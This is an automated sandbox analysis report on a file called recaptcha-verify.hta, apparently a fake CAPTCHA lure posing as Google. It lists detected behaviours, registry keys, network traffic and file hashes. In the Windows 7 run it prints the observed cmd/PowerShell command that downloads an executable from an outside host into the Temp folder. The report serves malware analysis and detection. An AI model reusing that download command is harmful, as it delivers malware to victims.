Analysis Overview
SHA256
19fb3108a5c7a3bc2694062805359f555450524a6fbf1eba7c30a544e1749f94
Threat Level: Likely malicious
The file recaptcha-verify was found to be: Likely malicious.
Malicious Activity Summary
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Detected potential entity reuse from brand GOOGLE.
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Modifies Internet Explorer settings
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2025-01-20 17:07
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2025-01-20 17:07
Reported
2025-01-20 17:08
Platform
win10v2004-20241007-en
Max time kernel
17s
Max time network
19s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
Detected potential entity reuse from brand GOOGLE.
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\recaptcha-verify.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | www.google.com | udp |
| US | 8.8.8.8:53 | support.google.com | udp |
| GB | 142.250.187.196:443 | www.google.com | tcp |
| GB | 172.217.169.14:443 | support.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.178.3:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 3.178.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.187.250.142.in-addr.arpa | udp |
| GB | 142.250.178.3:80 | o.pki.goog | tcp |
| GB | 142.250.178.3:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | 64.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 167.173.78.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
Files
Analysis: behavioral1
Detonation Overview
Submitted
2025-01-20 17:07
Reported
2025-01-20 17:07
Platform
win7-20240903-en
Max time kernel
15s
Max time network
16s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Detected potential entity reuse from brand GOOGLE.
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2316 wrote to memory of 2240 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 2316 wrote to memory of 2240 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 2316 wrote to memory of 2240 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 2316 wrote to memory of 2240 | N/A | C:\Windows\SysWOW64\mshta.exe | C:\Windows\SysWOW64\cmd.exe |
| PID 2240 wrote to memory of 2728 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2240 wrote to memory of 2728 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2240 wrote to memory of 2728 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2240 wrote to memory of 2728 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\recaptcha-verify.hta"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -Uri 'https://cdn.ps5.zip/steam.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\downloaded_file.exe'"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -Command "Invoke-WebRequest -Uri 'https://cdn.ps5.zip/steam.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\downloaded_file.exe'"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | support.google.com | udp |
| US | 8.8.8.8:53 | www.google.com | udp |
| GB | 142.250.187.196:443 | www.google.com | tcp |
| GB | 172.217.169.14:443 | support.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.178.3:80 | c.pki.goog | tcp |
| GB | 142.250.178.3:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.178.3:80 | o.pki.goog | tcp |
| GB | 142.250.178.3:80 | o.pki.goog | tcp |
Files
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\M4TQDAHL\favicon[1].ico
| MD5 | f3418a443e7d841097c714d69ec4bcb8 |
| SHA1 | 49263695f6b0cdd72f45cf1b775e660fdc36c606 |
| SHA256 | 6da5620880159634213e197fafca1dde0272153be3e4590818533fab8d040770 |
| SHA512 | 82d017c4b7ec8e0c46e8b75da0ca6a52fd8bce7fcf4e556cbdf16b49fc81be9953fe7e25a05f63ecd41c7272e8bb0a9fd9aedf0ac06cb6032330b096b3702563 |